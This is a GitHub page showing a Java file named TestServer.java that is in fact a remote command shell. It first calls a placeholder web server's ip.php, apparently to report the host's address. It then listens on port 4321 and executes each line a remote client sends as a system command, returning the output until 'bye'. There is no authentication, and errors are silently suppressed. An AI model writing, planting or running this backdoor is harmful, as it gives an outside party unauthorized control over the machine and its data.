-
Notifications
You must be signed in to change notification settings - Fork 4
/
TestServer.java
73 lines (69 loc) · 1.69 KB
/
TestServer.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import java.net.*;
import java.io.*;
public class TestServer
{
public static void main(String args[])
{
URL url;
HttpURLConnection conn;
BufferedReader rd;
try {
url = new URL("http://ip-address-of-webserver-with-php-script/ip.php");
conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("GET");
rd = new BufferedReader(new InputStreamReader(conn.getInputStream()));
rd.close();
} catch (Exception e) { }
ServerSocket server = null;
try
{
server = new ServerSocket(4321);
}
catch (IOException e)
{
System.exit(1);
}
Socket client = null;
try
{
client = server.accept();
}
catch (IOException e)
{
System.exit(1);
}
try
{
DataInputStream streamIn = new DataInputStream(new BufferedInputStream(client.getInputStream()));
PrintWriter socketOut = new PrintWriter(client.getOutputStream(), true);
boolean done = false;
String line;
while (!done)
{
line = streamIn.readLine();
try
{
Process p = Runtime.getRuntime().exec(line);
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line2 = "";
String op = "";
while ((line2 = reader.readLine()) != null)
{
op = op + line2 + "----";
}
socketOut.println(op);
}
catch(Exception e1)
{
}
if(line.equals("bye"))
done = true;
}
streamIn.close();
client.close();
server.close();
}
catch(IOException e)
{ }
}
}